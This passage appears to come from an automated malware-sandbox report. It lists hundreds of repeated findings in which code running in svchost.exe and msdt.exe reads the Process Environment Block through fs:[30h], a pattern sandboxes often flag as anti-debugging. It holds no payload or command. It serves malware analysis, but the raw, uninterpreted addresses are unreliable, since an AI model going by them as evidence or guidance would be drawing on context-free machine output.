Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E2073 mov eax, dword ptr fs:[00000030h] 1_2_038E2073
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03838794 mov eax, dword ptr fs:[00000030h] 1_2_03838794
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A7794 mov eax, dword ptr fs:[00000030h] 1_2_038A7794
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A7794 mov eax, dword ptr fs:[00000030h] 1_2_038A7794
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A7794 mov eax, dword ptr fs:[00000030h] 1_2_038A7794
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038637F5 mov eax, dword ptr fs:[00000030h] 1_2_038637F5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F070D mov eax, dword ptr fs:[00000030h] 1_2_038F070D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F070D mov eax, dword ptr fs:[00000030h] 1_2_038F070D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385A70E mov eax, dword ptr fs:[00000030h] 1_2_0385A70E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385A70E mov eax, dword ptr fs:[00000030h] 1_2_0385A70E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0384F716 mov eax, dword ptr fs:[00000030h] 1_2_0384F716
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038BFF10 mov eax, dword ptr fs:[00000030h] 1_2_038BFF10
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038BFF10 mov eax, dword ptr fs:[00000030h] 1_2_038BFF10
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03824F2E mov eax, dword ptr fs:[00000030h] 1_2_03824F2E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03824F2E mov eax, dword ptr fs:[00000030h] 1_2_03824F2E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385E730 mov eax, dword ptr fs:[00000030h] 1_2_0385E730
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0383EF40 mov eax, dword ptr fs:[00000030h] 1_2_0383EF40
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0383FF60 mov eax, dword ptr fs:[00000030h] 1_2_0383FF60
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F8F6A mov eax, dword ptr fs:[00000030h] 1_2_038F8F6A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038BFE87 mov eax, dword ptr fs:[00000030h] 1_2_038BFE87
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F0EA5 mov eax, dword ptr fs:[00000030h] 1_2_038F0EA5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F0EA5 mov eax, dword ptr fs:[00000030h] 1_2_038F0EA5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F0EA5 mov eax, dword ptr fs:[00000030h] 1_2_038F0EA5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A46A7 mov eax, dword ptr fs:[00000030h] 1_2_038A46A7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03868EC7 mov eax, dword ptr fs:[00000030h] 1_2_03868EC7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038536CC mov eax, dword ptr fs:[00000030h] 1_2_038536CC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038DFEC0 mov eax, dword ptr fs:[00000030h] 1_2_038DFEC0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F8ED6 mov eax, dword ptr fs:[00000030h] 1_2_038F8ED6
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038376E2 mov eax, dword ptr fs:[00000030h] 1_2_038376E2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038516E0 mov ecx, dword ptr fs:[00000030h] 1_2_038516E0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0382C600 mov eax, dword ptr fs:[00000030h] 1_2_0382C600
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0382C600 mov eax, dword ptr fs:[00000030h] 1_2_0382C600
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0382C600 mov eax, dword ptr fs:[00000030h] 1_2_0382C600
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03858E00 mov eax, dword ptr fs:[00000030h] 1_2_03858E00
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E1608 mov eax, dword ptr fs:[00000030h] 1_2_038E1608
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385A61C mov eax, dword ptr fs:[00000030h] 1_2_0385A61C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385A61C mov eax, dword ptr fs:[00000030h] 1_2_0385A61C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0382E620 mov eax, dword ptr fs:[00000030h] 1_2_0382E620
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038DFE3F mov eax, dword ptr fs:[00000030h] 1_2_038DFE3F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03837E41 mov eax, dword ptr fs:[00000030h] 1_2_03837E41
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03837E41 mov eax, dword ptr fs:[00000030h] 1_2_03837E41
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03837E41 mov eax, dword ptr fs:[00000030h] 1_2_03837E41
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03837E41 mov eax, dword ptr fs:[00000030h] 1_2_03837E41
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03837E41 mov eax, dword ptr fs:[00000030h] 1_2_03837E41
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03837E41 mov eax, dword ptr fs:[00000030h] 1_2_03837E41
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038EAE44 mov eax, dword ptr fs:[00000030h] 1_2_038EAE44
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038EAE44 mov eax, dword ptr fs:[00000030h] 1_2_038EAE44
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0383766D mov eax, dword ptr fs:[00000030h] 1_2_0383766D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0384AE73 mov eax, dword ptr fs:[00000030h] 1_2_0384AE73
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0384AE73 mov eax, dword ptr fs:[00000030h] 1_2_0384AE73
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0384AE73 mov eax, dword ptr fs:[00000030h] 1_2_0384AE73
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0384AE73 mov eax, dword ptr fs:[00000030h] 1_2_0384AE73
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0384AE73 mov eax, dword ptr fs:[00000030h] 1_2_0384AE73
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03852581 mov eax, dword ptr fs:[00000030h] 1_2_03852581
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03852581 mov eax, dword ptr fs:[00000030h] 1_2_03852581
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03852581 mov eax, dword ptr fs:[00000030h] 1_2_03852581
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03852581 mov eax, dword ptr fs:[00000030h] 1_2_03852581
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03822D8A mov eax, dword ptr fs:[00000030h] 1_2_03822D8A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03822D8A mov eax, dword ptr fs:[00000030h] 1_2_03822D8A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03822D8A mov eax, dword ptr fs:[00000030h] 1_2_03822D8A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03822D8A mov eax, dword ptr fs:[00000030h] 1_2_03822D8A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03822D8A mov eax, dword ptr fs:[00000030h] 1_2_03822D8A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385FD9B mov eax, dword ptr fs:[00000030h] 1_2_0385FD9B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385FD9B mov eax, dword ptr fs:[00000030h] 1_2_0385FD9B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F05AC mov eax, dword ptr fs:[00000030h] 1_2_038F05AC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F05AC mov eax, dword ptr fs:[00000030h] 1_2_038F05AC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038535A1 mov eax, dword ptr fs:[00000030h] 1_2_038535A1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03851DB5 mov eax, dword ptr fs:[00000030h] 1_2_03851DB5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03851DB5 mov eax, dword ptr fs:[00000030h] 1_2_03851DB5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03851DB5 mov eax, dword ptr fs:[00000030h] 1_2_03851DB5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A6DC9 mov eax, dword ptr fs:[00000030h] 1_2_038A6DC9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A6DC9 mov eax, dword ptr fs:[00000030h] 1_2_038A6DC9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A6DC9 mov eax, dword ptr fs:[00000030h] 1_2_038A6DC9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A6DC9 mov ecx, dword ptr fs:[00000030h] 1_2_038A6DC9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A6DC9 mov eax, dword ptr fs:[00000030h] 1_2_038A6DC9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A6DC9 mov eax, dword ptr fs:[00000030h] 1_2_038A6DC9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0383D5E0 mov eax, dword ptr fs:[00000030h] 1_2_0383D5E0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0383D5E0 mov eax, dword ptr fs:[00000030h] 1_2_0383D5E0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038EFDE2 mov eax, dword ptr fs:[00000030h] 1_2_038EFDE2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038EFDE2 mov eax, dword ptr fs:[00000030h] 1_2_038EFDE2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038EFDE2 mov eax, dword ptr fs:[00000030h] 1_2_038EFDE2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038EFDE2 mov eax, dword ptr fs:[00000030h] 1_2_038EFDE2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038D8DF1 mov eax, dword ptr fs:[00000030h] 1_2_038D8DF1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0382AD30 mov eax, dword ptr fs:[00000030h] 1_2_0382AD30
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h] 1_2_03833D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h] 1_2_03833D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h] 1_2_03833D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h] 1_2_03833D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h] 1_2_03833D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h] 1_2_03833D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h] 1_2_03833D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h] 1_2_03833D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h] 1_2_03833D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h] 1_2_03833D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h] 1_2_03833D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h] 1_2_03833D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03833D34 mov eax, dword ptr fs:[00000030h] 1_2_03833D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038EE539 mov eax, dword ptr fs:[00000030h] 1_2_038EE539
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F8D34 mov eax, dword ptr fs:[00000030h] 1_2_038F8D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038AA537 mov eax, dword ptr fs:[00000030h] 1_2_038AA537
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03854D3B mov eax, dword ptr fs:[00000030h] 1_2_03854D3B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03854D3B mov eax, dword ptr fs:[00000030h] 1_2_03854D3B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03854D3B mov eax, dword ptr fs:[00000030h] 1_2_03854D3B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03863D43 mov eax, dword ptr fs:[00000030h] 1_2_03863D43
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A3540 mov eax, dword ptr fs:[00000030h] 1_2_038A3540
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_03847D50 mov eax, dword ptr fs:[00000030h] 1_2_03847D50
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0384C577 mov eax, dword ptr fs:[00000030h] 1_2_0384C577
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0384C577 mov eax, dword ptr fs:[00000030h] 1_2_0384C577
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0383849B mov eax, dword ptr fs:[00000030h] 1_2_0383849B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F8CD6 mov eax, dword ptr fs:[00000030h] 1_2_038F8CD6
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E14FB mov eax, dword ptr fs:[00000030h] 1_2_038E14FB
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A6CF0 mov eax, dword ptr fs:[00000030h] 1_2_038A6CF0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A6CF0 mov eax, dword ptr fs:[00000030h] 1_2_038A6CF0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A6CF0 mov eax, dword ptr fs:[00000030h] 1_2_038A6CF0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A6C0A mov eax, dword ptr fs:[00000030h] 1_2_038A6C0A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A6C0A mov eax, dword ptr fs:[00000030h] 1_2_038A6C0A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A6C0A mov eax, dword ptr fs:[00000030h] 1_2_038A6C0A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038A6C0A mov eax, dword ptr fs:[00000030h] 1_2_038A6C0A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F740D mov eax, dword ptr fs:[00000030h] 1_2_038F740D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F740D mov eax, dword ptr fs:[00000030h] 1_2_038F740D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038F740D mov eax, dword ptr fs:[00000030h] 1_2_038F740D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h] 1_2_038E1C06
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h] 1_2_038E1C06
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h] 1_2_038E1C06
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h] 1_2_038E1C06
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h] 1_2_038E1C06
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h] 1_2_038E1C06
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h] 1_2_038E1C06
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h] 1_2_038E1C06
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h] 1_2_038E1C06
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h] 1_2_038E1C06
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h] 1_2_038E1C06
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h] 1_2_038E1C06
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h] 1_2_038E1C06
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038E1C06 mov eax, dword ptr fs:[00000030h] 1_2_038E1C06
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385BC2C mov eax, dword ptr fs:[00000030h] 1_2_0385BC2C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0385A44B mov eax, dword ptr fs:[00000030h] 1_2_0385A44B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038BC450 mov eax, dword ptr fs:[00000030h] 1_2_038BC450
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_038BC450 mov eax, dword ptr fs:[00000030h] 1_2_038BC450
Source: C:\Windows\SysWOW64\svchost.exe Code function: 1_2_0384746D mov eax, dword ptr fs:[00000030h] 1_2_0384746D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F914FB mov eax, dword ptr fs:[00000030h] 7_2_04F914FB
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F56CF0 mov eax, dword ptr fs:[00000030h] 7_2_04F56CF0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F56CF0 mov eax, dword ptr fs:[00000030h] 7_2_04F56CF0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F56CF0 mov eax, dword ptr fs:[00000030h] 7_2_04F56CF0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA8CD6 mov eax, dword ptr fs:[00000030h] 7_2_04FA8CD6
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE849B mov eax, dword ptr fs:[00000030h] 7_2_04EE849B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EF746D mov eax, dword ptr fs:[00000030h] 7_2_04EF746D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F6C450 mov eax, dword ptr fs:[00000030h] 7_2_04F6C450
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F6C450 mov eax, dword ptr fs:[00000030h] 7_2_04F6C450
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0A44B mov eax, dword ptr fs:[00000030h] 7_2_04F0A44B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0BC2C mov eax, dword ptr fs:[00000030h] 7_2_04F0BC2C
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA740D mov eax, dword ptr fs:[00000030h] 7_2_04FA740D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA740D mov eax, dword ptr fs:[00000030h] 7_2_04FA740D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA740D mov eax, dword ptr fs:[00000030h] 7_2_04FA740D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h] 7_2_04F91C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h] 7_2_04F91C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h] 7_2_04F91C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h] 7_2_04F91C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h] 7_2_04F91C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h] 7_2_04F91C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h] 7_2_04F91C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h] 7_2_04F91C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h] 7_2_04F91C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h] 7_2_04F91C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h] 7_2_04F91C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h] 7_2_04F91C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h] 7_2_04F91C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h] 7_2_04F91C06
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F56C0A mov eax, dword ptr fs:[00000030h] 7_2_04F56C0A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F56C0A mov eax, dword ptr fs:[00000030h] 7_2_04F56C0A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F56C0A mov eax, dword ptr fs:[00000030h] 7_2_04F56C0A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F56C0A mov eax, dword ptr fs:[00000030h] 7_2_04F56C0A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F88DF1 mov eax, dword ptr fs:[00000030h] 7_2_04F88DF1
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EED5E0 mov eax, dword ptr fs:[00000030h] 7_2_04EED5E0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EED5E0 mov eax, dword ptr fs:[00000030h] 7_2_04EED5E0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F9FDE2 mov eax, dword ptr fs:[00000030h] 7_2_04F9FDE2
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F9FDE2 mov eax, dword ptr fs:[00000030h] 7_2_04F9FDE2
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F9FDE2 mov eax, dword ptr fs:[00000030h] 7_2_04F9FDE2
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F9FDE2 mov eax, dword ptr fs:[00000030h] 7_2_04F9FDE2
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F56DC9 mov eax, dword ptr fs:[00000030h] 7_2_04F56DC9
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F56DC9 mov eax, dword ptr fs:[00000030h] 7_2_04F56DC9
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F56DC9 mov eax, dword ptr fs:[00000030h] 7_2_04F56DC9
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F56DC9 mov ecx, dword ptr fs:[00000030h] 7_2_04F56DC9
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F56DC9 mov eax, dword ptr fs:[00000030h] 7_2_04F56DC9
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F56DC9 mov eax, dword ptr fs:[00000030h] 7_2_04F56DC9
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F01DB5 mov eax, dword ptr fs:[00000030h] 7_2_04F01DB5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F01DB5 mov eax, dword ptr fs:[00000030h] 7_2_04F01DB5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F01DB5 mov eax, dword ptr fs:[00000030h] 7_2_04F01DB5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F035A1 mov eax, dword ptr fs:[00000030h] 7_2_04F035A1
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA05AC mov eax, dword ptr fs:[00000030h] 7_2_04FA05AC
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA05AC mov eax, dword ptr fs:[00000030h] 7_2_04FA05AC
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED2D8A mov eax, dword ptr fs:[00000030h] 7_2_04ED2D8A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED2D8A mov eax, dword ptr fs:[00000030h] 7_2_04ED2D8A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED2D8A mov eax, dword ptr fs:[00000030h] 7_2_04ED2D8A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED2D8A mov eax, dword ptr fs:[00000030h] 7_2_04ED2D8A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04ED2D8A mov eax, dword ptr fs:[00000030h] 7_2_04ED2D8A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0FD9B mov eax, dword ptr fs:[00000030h] 7_2_04F0FD9B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F0FD9B mov eax, dword ptr fs:[00000030h] 7_2_04F0FD9B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F02581 mov eax, dword ptr fs:[00000030h] 7_2_04F02581
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F02581 mov eax, dword ptr fs:[00000030h] 7_2_04F02581
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F02581 mov eax, dword ptr fs:[00000030h] 7_2_04F02581
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F02581 mov eax, dword ptr fs:[00000030h] 7_2_04F02581
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EFC577 mov eax, dword ptr fs:[00000030h] 7_2_04EFC577
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EFC577 mov eax, dword ptr fs:[00000030h] 7_2_04EFC577
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F13D43 mov eax, dword ptr fs:[00000030h] 7_2_04F13D43
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F53540 mov eax, dword ptr fs:[00000030h] 7_2_04F53540
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EF7D50 mov eax, dword ptr fs:[00000030h] 7_2_04EF7D50
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F9E539 mov eax, dword ptr fs:[00000030h] 7_2_04F9E539
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F5A537 mov eax, dword ptr fs:[00000030h] 7_2_04F5A537
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F04D3B mov eax, dword ptr fs:[00000030h] 7_2_04F04D3B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F04D3B mov eax, dword ptr fs:[00000030h] 7_2_04F04D3B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04F04D3B mov eax, dword ptr fs:[00000030h] 7_2_04F04D3B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04FA8D34 mov eax, dword ptr fs:[00000030h] 7_2_04FA8D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h] 7_2_04EE3D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h] 7_2_04EE3D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h] 7_2_04EE3D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h] 7_2_04EE3D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h] 7_2_04EE3D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h] 7_2_04EE3D34
Source: C:\Windows\SysWOW64\msdt.exe Code function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h] 7_2_04EE3D34
